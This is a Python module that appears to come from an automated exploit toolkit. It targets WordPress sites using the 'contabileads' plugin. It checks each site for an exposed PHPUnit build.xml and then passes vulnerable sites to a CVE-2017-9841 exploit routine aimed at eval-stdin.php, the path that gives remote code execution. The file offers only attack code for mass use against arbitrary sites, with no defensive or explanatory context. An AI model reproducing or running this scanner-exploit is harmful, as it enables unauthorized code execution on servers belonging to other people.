# coding=utf-8
import requests
from Exploits import printModule
from Exploits import CVE_2017_9841PHPUnit

r = '\033[31m'
g = '\033[32m'
y = '\033[33m'
b = '\033[34m'
m = '\033[35m'
c = '\033[36m'
w = '\033[37m'
Headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) "
                      "AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
    }

def Exploit(site):
    try:
        vv = site + '/wp-content/plugins/contabileads/integracoes/mautic/api-library/vendor/phpunit/phpunit/build.xml'
        Exp = '/wp-content/plugins/contabileads/integracoes/mautic/api-library/' \
              'vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php'
        CheckVuln = requests.get('http://{}'.format(vv), timeout=10, headers=Headers)
        if 'taskname="phpunit"' in str(CheckVuln.content):
            return CVE_2017_9841PHPUnit.Exploit(site, Exp, 'contabileads', 'Wordpress')
        else:
            return printModule.returnNo(site, 'CVE-2017-9841', 'PHPUnit contabileads', 'Wordpress')
    except:
        return printModule.returnNo(site, 'CVE-2017-9841', 'PHPUnit contabileads', 'Wordpress')
